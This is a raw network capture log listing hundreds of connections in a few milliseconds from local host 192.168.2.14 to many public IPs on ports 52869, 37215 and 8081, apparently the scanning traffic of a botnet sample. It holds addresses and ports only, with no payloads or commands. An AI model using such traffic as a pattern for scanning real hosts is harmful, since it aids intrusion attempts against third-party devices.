Jul 20, 2024 23:01:01.670488119 CEST	52869	49909	57.201.12.20	192.168.2.14
Jul 20, 2024 23:01:01.670496941 CEST	52869	49909	136.254.36.162	192.168.2.14
Jul 20, 2024 23:01:01.670506001 CEST	52869	49909	190.93.218.69	192.168.2.14
Jul 20, 2024 23:01:01.670514107 CEST	52869	49909	183.209.119.234	192.168.2.14
Jul 20, 2024 23:01:01.670523882 CEST	52869	49909	203.71.161.180	192.168.2.14
Jul 20, 2024 23:01:01.670531988 CEST	52869	49909	126.2.243.161	192.168.2.14
Jul 20, 2024 23:01:01.670540094 CEST	52869	49909	51.148.116.193	192.168.2.14
Jul 20, 2024 23:01:01.670548916 CEST	52869	49909	212.76.154.68	192.168.2.14
Jul 20, 2024 23:01:01.670557976 CEST	52869	49909	191.124.205.30	192.168.2.14
Jul 20, 2024 23:01:01.670566082 CEST	52869	49909	195.164.92.202	192.168.2.14
Jul 20, 2024 23:01:01.670574903 CEST	8081	50165	45.180.95.187	192.168.2.14
Jul 20, 2024 23:01:01.670583963 CEST	52869	49909	49.92.4.36	192.168.2.14
Jul 20, 2024 23:01:01.670593023 CEST	52869	49909	27.248.118.30	192.168.2.14
Jul 20, 2024 23:01:01.670600891 CEST	52869	49909	222.254.37.107	192.168.2.14
Jul 20, 2024 23:01:01.670609951 CEST	52869	49909	169.3.168.159	192.168.2.14
Jul 20, 2024 23:01:01.670618057 CEST	52869	49909	163.47.122.188	192.168.2.14
Jul 20, 2024 23:01:01.670627117 CEST	8081	50165	46.81.119.241	192.168.2.14
Jul 20, 2024 23:01:01.670634985 CEST	52869	49909	58.207.233.109	192.168.2.14
Jul 20, 2024 23:01:01.670644045 CEST	52869	49909	14.213.163.243	192.168.2.14
Jul 20, 2024 23:01:01.670654058 CEST	8081	50165	103.23.78.175	192.168.2.14
Jul 20, 2024 23:01:01.670663118 CEST	52869	49909	159.176.176.208	192.168.2.14
Jul 20, 2024 23:01:01.670670986 CEST	52869	49909	61.90.232.252	192.168.2.14
Jul 20, 2024 23:01:01.670680046 CEST	52869	49909	4.32.31.240	192.168.2.14
Jul 20, 2024 23:01:01.670689106 CEST	52869	49909	54.189.221.44	192.168.2.14
Jul 20, 2024 23:01:01.670696974 CEST	52869	49909	137.192.226.61	192.168.2.14
Jul 20, 2024 23:01:01.670706034 CEST	52869	49909	203.78.175.2	192.168.2.14
Jul 20, 2024 23:01:01.670715094 CEST	52869	49909	112.151.203.235	192.168.2.14
Jul 20, 2024 23:01:01.670722961 CEST	52869	49909	132.34.228.144	192.168.2.14
Jul 20, 2024 23:01:01.670731068 CEST	52869	49909	66.238.117.205	192.168.2.14
Jul 20, 2024 23:01:01.670739889 CEST	52869	49909	204.244.162.157	192.168.2.14
Jul 20, 2024 23:01:01.670747995 CEST	8081	50165	75.128.113.209	192.168.2.14
Jul 20, 2024 23:01:01.670757055 CEST	52869	49909	102.243.20.210	192.168.2.14
Jul 20, 2024 23:01:01.670764923 CEST	52869	49909	125.140.107.93	192.168.2.14
Jul 20, 2024 23:01:01.670773983 CEST	52869	49909	218.80.197.56	192.168.2.14
Jul 20, 2024 23:01:01.670783043 CEST	52869	49909	212.166.30.102	192.168.2.14
Jul 20, 2024 23:01:01.670792103 CEST	52869	49909	65.175.199.89	192.168.2.14
Jul 20, 2024 23:01:01.670800924 CEST	52869	49909	173.155.49.234	192.168.2.14
Jul 20, 2024 23:01:01.670809031 CEST	8081	50165	112.223.143.0	192.168.2.14
Jul 20, 2024 23:01:01.670818090 CEST	52869	49909	119.216.248.126	192.168.2.14
Jul 20, 2024 23:01:01.670826912 CEST	52869	49909	130.89.105.172	192.168.2.14
Jul 20, 2024 23:01:01.670835018 CEST	52869	49909	116.111.66.143	192.168.2.14
Jul 20, 2024 23:01:01.670844078 CEST	52869	49909	217.117.118.187	192.168.2.14
Jul 20, 2024 23:01:01.670855999 CEST	52869	49909	101.246.184.157	192.168.2.14
Jul 20, 2024 23:01:01.670866013 CEST	52869	49909	13.50.25.54	192.168.2.14
Jul 20, 2024 23:01:01.670875072 CEST	52869	49909	24.148.63.65	192.168.2.14
Jul 20, 2024 23:01:01.670883894 CEST	52869	49909	79.130.194.18	192.168.2.14
Jul 20, 2024 23:01:01.670892954 CEST	52869	49909	98.49.158.78	192.168.2.14
Jul 20, 2024 23:01:01.670901060 CEST	52869	49909	43.90.91.197	192.168.2.14
Jul 20, 2024 23:01:01.670909882 CEST	52869	49909	164.194.5.157	192.168.2.14
Jul 20, 2024 23:01:01.670918941 CEST	8081	50165	190.246.166.65	192.168.2.14
Jul 20, 2024 23:01:01.670928001 CEST	52869	49909	184.18.102.14	192.168.2.14
Jul 20, 2024 23:01:01.670937061 CEST	52869	49909	23.170.161.54	192.168.2.14
Jul 20, 2024 23:01:01.670945883 CEST	52869	49909	123.118.216.63	192.168.2.14
Jul 20, 2024 23:01:01.670954943 CEST	52869	49909	176.8.64.239	192.168.2.14
Jul 20, 2024 23:01:01.670964003 CEST	52869	49909	114.188.127.63	192.168.2.14
Jul 20, 2024 23:01:01.670973063 CEST	8081	50165	171.221.102.31	192.168.2.14
Jul 20, 2024 23:01:01.670981884 CEST	52869	49909	90.31.243.103	192.168.2.14
Jul 20, 2024 23:01:01.670990944 CEST	8081	50165	36.191.109.221	192.168.2.14
Jul 20, 2024 23:01:01.671000004 CEST	52869	49909	51.240.51.123	192.168.2.14
Jul 20, 2024 23:01:01.671009064 CEST	52869	49909	213.127.240.84	192.168.2.14
Jul 20, 2024 23:01:01.671016932 CEST	52869	49909	53.243.233.11	192.168.2.14
Jul 20, 2024 23:01:01.671025991 CEST	52869	49909	185.102.251.206	192.168.2.14
Jul 20, 2024 23:01:01.671034098 CEST	8081	50165	132.238.98.82	192.168.2.14
Jul 20, 2024 23:01:01.671042919 CEST	52869	49909	66.12.112.220	192.168.2.14
Jul 20, 2024 23:01:01.671056032 CEST	52869	49909	203.174.113.107	192.168.2.14
Jul 20, 2024 23:01:01.671067953 CEST	8081	50165	163.107.64.56	192.168.2.14
Jul 20, 2024 23:01:01.671076059 CEST	52869	49909	218.6.73.141	192.168.2.14
Jul 20, 2024 23:01:01.671084881 CEST	8081	50165	172.195.154.174	192.168.2.14
Jul 20, 2024 23:01:01.671092987 CEST	52869	49909	34.185.75.194	192.168.2.14
Jul 20, 2024 23:01:01.671102047 CEST	52869	49909	166.105.27.185	192.168.2.14
Jul 20, 2024 23:01:01.671112061 CEST	52869	49909	175.93.7.73	192.168.2.14
Jul 20, 2024 23:01:01.671120882 CEST	52869	49909	112.39.57.151	192.168.2.14
Jul 20, 2024 23:01:01.671128988 CEST	52869	49909	157.138.168.37	192.168.2.14
Jul 20, 2024 23:01:01.671139002 CEST	52869	49909	198.222.10.239	192.168.2.14
Jul 20, 2024 23:01:01.671149969 CEST	8081	50165	173.228.154.177	192.168.2.14
Jul 20, 2024 23:01:01.671163082 CEST	52869	49909	1.172.244.6	192.168.2.14
Jul 20, 2024 23:01:01.671171904 CEST	8081	50165	17.30.113.89	192.168.2.14
Jul 20, 2024 23:01:01.671180964 CEST	52869	49909	60.29.206.143	192.168.2.14
Jul 20, 2024 23:01:01.671190023 CEST	52869	49909	48.203.187.54	192.168.2.14
Jul 20, 2024 23:01:01.671197891 CEST	52869	49909	143.175.82.45	192.168.2.14
Jul 20, 2024 23:01:01.671205997 CEST	52869	49909	202.40.234.128	192.168.2.14
Jul 20, 2024 23:01:01.671215057 CEST	52869	49909	219.102.36.208	192.168.2.14
Jul 20, 2024 23:01:01.671225071 CEST	52869	49909	93.27.149.226	192.168.2.14
Jul 20, 2024 23:01:01.671233892 CEST	52869	49909	166.151.174.122	192.168.2.14
Jul 20, 2024 23:01:01.671243906 CEST	52869	49909	153.248.215.68	192.168.2.14
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	162.138.211.72
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	59.126.120.18
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	156.230.140.45
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	181.146.224.142
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	141.224.95.108
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	151.136.169.42
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	49.217.12.33
Jul 20, 2024 23:01:01.671243906 CEST	49909	52869	192.168.2.14	188.64.202.52
Jul 20, 2024 23:01:01.671252966 CEST	52869	49909	180.110.76.181	192.168.2.14
Jul 20, 2024 23:01:01.671261072 CEST	52869	49909	97.242.134.148	192.168.2.14
Jul 20, 2024 23:01:01.671269894 CEST	52869	49909	181.76.169.112	192.168.2.14
Jul 20, 2024 23:01:01.671278954 CEST	52869	49909	111.69.101.251	192.168.2.14
Jul 20, 2024 23:01:01.671288013 CEST	8081	50165	100.137.68.1	192.168.2.14
Jul 20, 2024 23:01:01.671295881 CEST	52869	49909	143.151.146.37	192.168.2.14
Jul 20, 2024 23:01:01.671303988 CEST	8081	50165	60.66.41.211	192.168.2.14
Jul 20, 2024 23:01:01.671313047 CEST	52869	49909	32.154.200.191	192.168.2.14
Jul 20, 2024 23:01:01.671329021 CEST	52869	49909	184.150.134.241	192.168.2.14
Jul 20, 2024 23:01:01.671336889 CEST	52869	49909	203.117.119.28	192.168.2.14
Jul 20, 2024 23:01:01.671344995 CEST	52869	49909	223.47.46.151	192.168.2.14
Jul 20, 2024 23:01:01.671353102 CEST	8081	50165	57.251.134.231	192.168.2.14
Jul 20, 2024 23:01:01.671360970 CEST	52869	49909	40.4.167.143	192.168.2.14
Jul 20, 2024 23:01:01.671370029 CEST	52869	49909	36.11.65.143	192.168.2.14
Jul 20, 2024 23:01:01.671377897 CEST	52869	49909	159.76.235.15	192.168.2.14
Jul 20, 2024 23:01:01.671386957 CEST	52869	49909	159.122.145.72	192.168.2.14
Jul 20, 2024 23:01:01.671395063 CEST	52869	49909	167.30.69.121	192.168.2.14
Jul 20, 2024 23:01:01.671403885 CEST	52869	49909	103.245.84.176	192.168.2.14
Jul 20, 2024 23:01:01.671412945 CEST	8081	50165	170.136.214.126	192.168.2.14
Jul 20, 2024 23:01:01.671500921 CEST	52869	49909	212.213.233.214	192.168.2.14
Jul 20, 2024 23:01:01.671509981 CEST	8081	50165	154.252.206.239	192.168.2.14
Jul 20, 2024 23:01:01.671807051 CEST	49909	52869	192.168.2.14	69.103.208.190
Jul 20, 2024 23:01:01.671807051 CEST	49909	52869	192.168.2.14	209.182.179.55
Jul 20, 2024 23:01:01.671808004 CEST	49909	52869	192.168.2.14	42.63.37.230
Jul 20, 2024 23:01:01.671808004 CEST	49909	52869	192.168.2.14	149.148.103.254
Jul 20, 2024 23:01:01.671808004 CEST	49909	52869	192.168.2.14	136.10.65.212
Jul 20, 2024 23:01:01.671808004 CEST	49909	52869	192.168.2.14	38.123.81.102
Jul 20, 2024 23:01:01.671808004 CEST	49909	52869	192.168.2.14	59.3.63.30
Jul 20, 2024 23:01:01.671808004 CEST	49909	52869	192.168.2.14	170.253.183.3
Jul 20, 2024 23:01:01.671812057 CEST	52869	49909	138.173.141.165	192.168.2.14
Jul 20, 2024 23:01:01.671821117 CEST	52869	49909	130.248.131.170	192.168.2.14
Jul 20, 2024 23:01:01.671832085 CEST	52869	49909	209.236.206.19	192.168.2.14
Jul 20, 2024 23:01:01.671849012 CEST	52869	49909	79.75.96.74	192.168.2.14
Jul 20, 2024 23:01:01.671905041 CEST	49909	52869	192.168.2.14	166.244.133.156
Jul 20, 2024 23:01:01.671905994 CEST	49909	52869	192.168.2.14	64.164.75.52
Jul 20, 2024 23:01:01.671905994 CEST	49909	52869	192.168.2.14	192.160.122.249
Jul 20, 2024 23:01:01.671905994 CEST	49909	52869	192.168.2.14	71.227.152.103
Jul 20, 2024 23:01:01.671905994 CEST	49909	52869	192.168.2.14	162.102.153.251
Jul 20, 2024 23:01:01.671905994 CEST	49909	52869	192.168.2.14	177.122.167.235
Jul 20, 2024 23:01:01.671905994 CEST	49909	52869	192.168.2.14	24.139.162.76
Jul 20, 2024 23:01:01.671905994 CEST	49909	52869	192.168.2.14	140.155.1.250
Jul 20, 2024 23:01:01.672030926 CEST	52869	49909	93.49.211.204	192.168.2.14
Jul 20, 2024 23:01:01.672039986 CEST	52869	49909	104.64.183.123	192.168.2.14
Jul 20, 2024 23:01:01.672049046 CEST	52869	49909	111.197.160.70	192.168.2.14
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	58.4.85.140
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	196.59.243.136
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	154.156.48.100
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	17.243.81.241
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	172.229.247.177
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	66.155.14.84
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	152.211.239.204
Jul 20, 2024 23:01:01.672203064 CEST	49909	52869	192.168.2.14	65.151.145.143
Jul 20, 2024 23:01:01.672283888 CEST	52869	49909	76.39.6.206	192.168.2.14
Jul 20, 2024 23:01:01.672303915 CEST	52869	49909	163.3.247.216	192.168.2.14
Jul 20, 2024 23:01:01.672312975 CEST	52869	49909	67.49.3.118	192.168.2.14
Jul 20, 2024 23:01:01.672321081 CEST	52869	49909	76.167.2.252	192.168.2.14
Jul 20, 2024 23:01:01.672550917 CEST	52869	49909	63.62.30.183	192.168.2.14
Jul 20, 2024 23:01:01.672559977 CEST	52869	49909	47.135.219.213	192.168.2.14
Jul 20, 2024 23:01:01.673064947 CEST	52869	49909	170.230.98.251	192.168.2.14
Jul 20, 2024 23:01:01.673074007 CEST	52869	49909	124.229.55.135	192.168.2.14
Jul 20, 2024 23:01:01.673083067 CEST	52869	49909	193.203.254.211	192.168.2.14
Jul 20, 2024 23:01:01.673090935 CEST	52869	49909	165.106.28.124	192.168.2.14
Jul 20, 2024 23:01:01.673099041 CEST	52869	49909	2.48.167.192	192.168.2.14
Jul 20, 2024 23:01:01.673115015 CEST	52869	49909	186.34.74.65	192.168.2.14
Jul 20, 2024 23:01:01.673124075 CEST	52869	49909	131.30.165.92	192.168.2.14
Jul 20, 2024 23:01:01.673213959 CEST	49909	52869	192.168.2.14	111.156.5.179
Jul 20, 2024 23:01:01.673213959 CEST	49909	52869	192.168.2.14	129.126.166.93
Jul 20, 2024 23:01:01.673213959 CEST	49909	52869	192.168.2.14	216.153.202.50
Jul 20, 2024 23:01:01.673213959 CEST	49909	52869	192.168.2.14	51.102.236.222
Jul 20, 2024 23:01:01.673214912 CEST	49909	52869	192.168.2.14	113.254.66.177
Jul 20, 2024 23:01:01.673214912 CEST	34462	37215	192.168.2.14	197.74.63.134
Jul 20, 2024 23:01:01.673214912 CEST	49909	52869	192.168.2.14	219.22.198.232
Jul 20, 2024 23:01:01.673274040 CEST	52869	49909	197.206.38.169	192.168.2.14
Jul 20, 2024 23:01:01.673284054 CEST	52869	49909	43.205.199.45	192.168.2.14
Jul 20, 2024 23:01:01.673293114 CEST	52869	49909	17.169.15.42	192.168.2.14
Jul 20, 2024 23:01:01.673301935 CEST	52869	49909	185.20.215.98	192.168.2.14
Jul 20, 2024 23:01:01.673306942 CEST	52869	49909	70.81.124.243	192.168.2.14
Jul 20, 2024 23:01:01.673439980 CEST	52869	49909	137.9.146.7	192.168.2.14
Jul 20, 2024 23:01:01.673609018 CEST	52869	49909	146.241.18.216	192.168.2.14
Jul 20, 2024 23:01:01.673618078 CEST	52869	49909	94.69.94.228	192.168.2.14
Jul 20, 2024 23:01:01.673626900 CEST	52869	49909	208.228.135.109	192.168.2.14
Jul 20, 2024 23:01:01.673635960 CEST	52869	49909	149.107.133.62	192.168.2.14
Jul 20, 2024 23:01:01.674215078 CEST	52869	49909	124.101.82.98	192.168.2.14
Jul 20, 2024 23:01:01.674223900 CEST	52869	49909	119.153.197.44	192.168.2.14
Jul 20, 2024 23:01:01.674232006 CEST	52869	49909	98.86.217.89	192.168.2.14
Jul 20, 2024 23:01:01.674241066 CEST	52869	49909	131.216.167.188	192.168.2.14
Jul 20, 2024 23:01:01.674468040 CEST	52869	49909	100.45.174.9	192.168.2.14
Jul 20, 2024 23:01:01.674477100 CEST	52869	49909	192.88.148.145	192.168.2.14
Jul 20, 2024 23:01:01.674485922 CEST	52869	49909	53.235.177.181	192.168.2.14
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	174.231.162.115
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	12.61.194.217
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	66.17.149.160
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	140.214.92.211
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	146.125.192.192
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	202.55.184.106
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	1.68.115.94
Jul 20, 2024 23:01:01.675026894 CEST	49909	52869	192.168.2.14	206.11.222.241
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	139.165.120.10
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	189.15.114.166
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	8.169.158.75
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	92.171.161.220
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	13.182.172.144
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	125.250.4.90
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	206.13.225.4
Jul 20, 2024 23:01:01.675501108 CEST	49909	52869	192.168.2.14	132.90.194.123
Jul 20, 2024 23:01:01.675995111 CEST	49909	52869	192.168.2.14	187.235.69.197
Jul 20, 2024 23:01:01.675995111 CEST	49909	52869	192.168.2.14	64.61.21.55
Jul 20, 2024 23:01:01.675995111 CEST	49909	52869	192.168.2.14	174.117.157.2
Jul 20, 2024 23:01:01.675995111 CEST	49909	52869	192.168.2.14	72.222.174.251
Jul 20, 2024 23:01:01.675995111 CEST	49909	52869	192.168.2.14	171.144.139.139
Jul 20, 2024 23:01:01.675995111 CEST	49909	52869	192.168.2.14	72.146.47.133
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	123.139.17.211
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	155.66.179.203
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	63.98.110.158
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	132.247.215.214
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	23.94.253.67
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	111.208.194.99
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	181.165.78.219
Jul 20, 2024 23:01:01.676533937 CEST	49909	52869	192.168.2.14	91.171.95.33
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	209.107.7.172
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	19.197.105.249
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	32.154.188.58
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	20.189.37.8
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	89.41.8.71
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	221.31.170.190
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	9.178.81.40
Jul 20, 2024 23:01:01.676965952 CEST	49909	52869	192.168.2.14	170.69.53.221
Jul 20, 2024 23:01:01.677176952 CEST	52869	49909	199.192.14.39	192.168.2.14
Jul 20, 2024 23:01:01.677186966 CEST	52869	49909	211.27.182.62	192.168.2.14
Jul 20, 2024 23:01:01.677196980 CEST	52869	49909	123.137.74.26	192.168.2.14
Jul 20, 2024 23:01:01.677206039 CEST	52869	49909	86.112.24.122	192.168.2.14
Jul 20, 2024 23:01:01.677215099 CEST	52869	49909	48.138.196.198	192.168.2.14
Jul 20, 2024 23:01:01.677223921 CEST	52869	49909	103.165.193.29	192.168.2.14
Jul 20, 2024 23:01:01.677232981 CEST	52869	49909	54.184.16.152	192.168.2.14
Jul 20, 2024 23:01:01.677242041 CEST	52869	49909	66.228.188.189	192.168.2.14
Jul 20, 2024 23:01:01.677251101 CEST	52869	49909	221.115.133.155	192.168.2.14
Jul 20, 2024 23:01:01.677530050 CEST	52869	49909	113.137.201.103	192.168.2.14
Jul 20, 2024 23:01:01.677536964 CEST	49909	52869	192.168.2.14	192.18.105.50
Jul 20, 2024 23:01:01.677537918 CEST	49909	52869	192.168.2.14	102.158.190.172
Jul 20, 2024 23:01:01.677539110 CEST	52869	49909	203.169.244.225	192.168.2.14
Jul 20, 2024 23:01:01.677537918 CEST	49909	52869	192.168.2.14	206.88.112.237
Jul 20, 2024 23:01:01.677548885 CEST	52869	49909	24.252.131.220	192.168.2.14
Jul 20, 2024 23:01:01.677557945 CEST	52869	49909	208.131.184.32	192.168.2.14
Jul 20, 2024 23:01:01.677567005 CEST	52869	49909	194.208.79.230	192.168.2.14
Jul 20, 2024 23:01:01.677576065 CEST	52869	49909	19.237.167.106	192.168.2.14
Jul 20, 2024 23:01:01.677596092 CEST	52869	49909	201.47.46.121	192.168.2.14
Jul 20, 2024 23:01:01.677604914 CEST	52869	49909	93.253.127.39	192.168.2.14
Jul 20, 2024 23:01:01.677613974 CEST	52869	49909	212.64.177.112	192.168.2.14
Jul 20, 2024 23:01:01.677623034 CEST	52869	49909	65.201.52.99	192.168.2.14
Jul 20, 2024 23:01:01.677630901 CEST	52869	49909	77.94.55.192	192.168.2.14
Jul 20, 2024 23:01:01.677640915 CEST	52869	49909	4.2.156.1	192.168.2.14
Jul 20, 2024 23:01:01.677655935 CEST	52869	49909	147.231.183.14	192.168.2.14
Jul 20, 2024 23:01:01.677664995 CEST	52869	49909	167.12.90.190	192.168.2.14
Jul 20, 2024 23:01:01.677675009 CEST	52869	49909	71.198.103.163	192.168.2.14
Jul 20, 2024 23:01:01.677683115 CEST	52869	49909	66.148.110.109	192.168.2.14
Jul 20, 2024 23:01:01.677691936 CEST	52869	49909	45.43.43.248	192.168.2.14
Jul 20, 2024 23:01:01.677700043 CEST	52869	49909	97.234.195.139	192.168.2.14
Jul 20, 2024 23:01:01.677709103 CEST	52869	49909	51.49.156.124	192.168.2.14
Jul 20, 2024 23:01:01.677716970 CEST	52869	49909	166.244.133.156	192.168.2.14
Jul 20, 2024 23:01:01.677725077 CEST	52869	49909	132.170.66.154	192.168.2.14
Jul 20, 2024 23:01:01.677733898 CEST	52869	49909	160.122.171.134	192.168.2.14
Jul 20, 2024 23:01:01.677745104 CEST	52869	49909	69.103.208.190	192.168.2.14
Jul 20, 2024 23:01:01.677759886 CEST	52869	49909	64.164.75.52	192.168.2.14
Jul 20, 2024 23:01:01.677769899 CEST	52869	49909	58.4.85.140	192.168.2.14
Jul 20, 2024 23:01:01.677907944 CEST	52869	49909	209.182.179.55	192.168.2.14
Jul 20, 2024 23:01:01.677917004 CEST	52869	49909	42.63.37.230	192.168.2.14
Jul 20, 2024 23:01:01.677923918 CEST	52869	49909	192.160.122.249	192.168.2.14
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	204.211.34.189
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	137.223.96.125
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	205.227.187.203
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	92.110.247.157
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	174.146.100.30
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	72.5.198.205
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	124.170.244.50
Jul 20, 2024 23:01:01.678061962 CEST	49909	52869	192.168.2.14	99.165.107.125
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	130.69.221.111
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	202.240.96.140
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	105.162.42.13
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	31.208.136.124
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	182.131.237.40
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	17.89.227.78
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	158.69.14.215
Jul 20, 2024 23:01:01.680195093 CEST	49909	52869	192.168.2.14	129.182.251.240
Jul 20, 2024 23:01:01.680222988 CEST	49909	52869	192.168.2.14	173.171.125.50
Jul 20, 2024 23:01:01.680222988 CEST	49909	52869	192.168.2.14	87.85.193.52
Jul 20, 2024 23:01:01.680222988 CEST	49909	52869	192.168.2.14	211.247.22.129
Jul 20, 2024 23:01:01.680222988 CEST	49909	52869	192.168.2.14	130.190.186.142
Jul 20, 2024 23:01:01.680222988 CEST	49909	52869	192.168.2.14	8.188.8.56
Jul 20, 2024 23:01:01.680222988 CEST	49909	52869	192.168.2.14	165.198.120.17
Jul 20, 2024 23:01:01.680222988 CEST	49909	52869	192.168.2.14	102.223.154.160
Jul 20, 2024 23:01:01.680670977 CEST	49909	52869	192.168.2.14	160.32.248.68
Jul 20, 2024 23:01:01.680670977 CEST	49909	52869	192.168.2.14	47.131.16.63
Jul 20, 2024 23:01:01.680670977 CEST	49909	52869	192.168.2.14	52.174.147.126
Jul 20, 2024 23:01:01.680670977 CEST	49909	52869	192.168.2.14	47.98.143.226
Jul 20, 2024 23:01:01.680670977 CEST	49909	52869	192.168.2.14	161.208.244.43
Jul 20, 2024 23:01:01.680671930 CEST	49909	52869	192.168.2.14	202.59.35.213
Jul 20, 2024 23:01:01.680671930 CEST	49909	52869	192.168.2.14	108.4.171.99
Jul 20, 2024 23:01:01.680671930 CEST	49909	52869	192.168.2.14	62.44.78.153
Jul 20, 2024 23:01:01.681526899 CEST	49909	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:01.681526899 CEST	49909	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:01.681526899 CEST	49909	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:01.681526899 CEST	49909	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:01.681526899 CEST	49909	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:01.682113886 CEST	52869	49909	37.75.222.46	192.168.2.14
Jul 20, 2024 23:01:01.682125092 CEST	52869	49909	175.154.70.103	192.168.2.14
Jul 20, 2024 23:01:01.682132959 CEST	52869	49909	74.93.122.98	192.168.2.14
Jul 20, 2024 23:01:01.682142019 CEST	52869	49909	111.156.5.179	192.168.2.14
Jul 20, 2024 23:01:01.682151079 CEST	52869	49909	157.242.18.104	192.168.2.14
Jul 20, 2024 23:01:01.682159901 CEST	52869	49909	129.126.166.93	192.168.2.14
Jul 20, 2024 23:01:01.682168961 CEST	52869	49909	168.20.39.149	192.168.2.14
Jul 20, 2024 23:01:01.682178020 CEST	52869	49909	205.89.121.149	192.168.2.14
Jul 20, 2024 23:01:01.682187080 CEST	52869	49909	216.153.202.50	192.168.2.14
Jul 20, 2024 23:01:01.682194948 CEST	52869	49909	169.125.253.118	192.168.2.14
Jul 20, 2024 23:01:01.682204008 CEST	52869	49909	149.148.103.254	192.168.2.14
Jul 20, 2024 23:01:01.682213068 CEST	52869	49909	167.185.110.241	192.168.2.14
Jul 20, 2024 23:01:01.682220936 CEST	52869	49909	194.134.189.49	192.168.2.14
Jul 20, 2024 23:01:01.682229996 CEST	52869	49909	51.102.236.222	192.168.2.14
Jul 20, 2024 23:01:01.682239056 CEST	52869	49909	196.59.243.136	192.168.2.14
Jul 20, 2024 23:01:01.682246923 CEST	52869	49909	138.243.241.17	192.168.2.14
Jul 20, 2024 23:01:01.682255030 CEST	52869	49909	154.156.48.100	192.168.2.14
Jul 20, 2024 23:01:01.682262897 CEST	52869	49909	136.10.65.212	192.168.2.14
Jul 20, 2024 23:01:01.682271957 CEST	52869	49909	63.149.53.202	192.168.2.14
Jul 20, 2024 23:01:01.682281017 CEST	52869	49909	113.254.66.177	192.168.2.14
Jul 20, 2024 23:01:01.682290077 CEST	52869	49909	160.251.106.211	192.168.2.14
Jul 20, 2024 23:01:01.682297945 CEST	52869	49909	71.227.152.103	192.168.2.14
Jul 20, 2024 23:01:01.682307959 CEST	52869	49909	123.201.125.177	192.168.2.14
Jul 20, 2024 23:01:01.682317972 CEST	52869	49909	162.102.153.251	192.168.2.14
Jul 20, 2024 23:01:01.682456017 CEST	52869	49909	139.165.120.10	192.168.2.14
Jul 20, 2024 23:01:01.682465076 CEST	52869	49909	189.15.114.166	192.168.2.14
Jul 20, 2024 23:01:01.682473898 CEST	52869	49909	177.122.167.235	192.168.2.14
Jul 20, 2024 23:01:01.682482958 CEST	52869	49909	24.139.162.76	192.168.2.14
Jul 20, 2024 23:01:01.682491064 CEST	52869	49909	38.123.81.102	192.168.2.14
Jul 20, 2024 23:01:01.682499886 CEST	52869	49909	17.243.81.241	192.168.2.14
